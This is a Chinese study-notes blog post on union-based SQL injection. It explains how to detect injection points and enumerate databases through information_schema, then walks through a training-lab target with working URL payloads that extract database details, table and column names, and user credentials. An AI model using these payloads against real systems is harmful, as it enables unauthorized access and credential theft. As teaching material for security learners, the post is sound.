网络安全笔记--简要SQL注入

概述

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入

如何判断注入点?

  • and 1=1 页面正常
  • and 1=2 页面错误
    可能存在注入点

union注入流程

  • 判断注入
  • 猜解列名数量(字段数量)【order by x】 逐个试,错误与正常的值
  • 信息收集
  •   数据库版本
    
  •   数据库名字
    
  •   数据库用户
    
  •   操作系统
    

必要
在Mysql5.0以上版本中,mysql存在一个自带数据库名为informaton_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
数据库中符号“.”代表下一级,如news.user,表示news数据库下的user表
informaton_schema.tables
informaton_schema.columus

查库: select schema_name from information_schema.schemata
查表: select table_name from information_schema.tables where table_schema=‘security’
查列: select column_name from information_schema.columns where table_name=‘users’
查字段: select username,password from security.users

方法
concat_ws(‘~’, A, B) 输出 A ~ B

实例

1. 信息收集

/new_list.php?id=1%20order%20by%201,2,3,4
/new_list.php?id=-1%20union%20select%201,database(),version(),4

在这里插入图片描述

/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4

在这里插入图片描述
汇总得到如下:

  •   数据库版本:5.7.22-0ubuntu0.16.04.1
    
  •   数据库名字:mozhe_Discuz_StormGroup
    
  •   数据库用户:root@localhost
    
  •   操作系统:Linux
    

2. 获取表和列信息

查询指定数据库名mozhe_Discuz_StormGroup下的表名信息
/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

在这里插入图片描述

查询指定表名StormGroup_member下的列名信息
/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

在这里插入图片描述
查询指定数据

/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
或者
/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

语法:limit x,1
x变动,猜解密码
在这里插入图片描述

4. SQL注入

在这里插入图片描述在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/swy66/article/details/126047968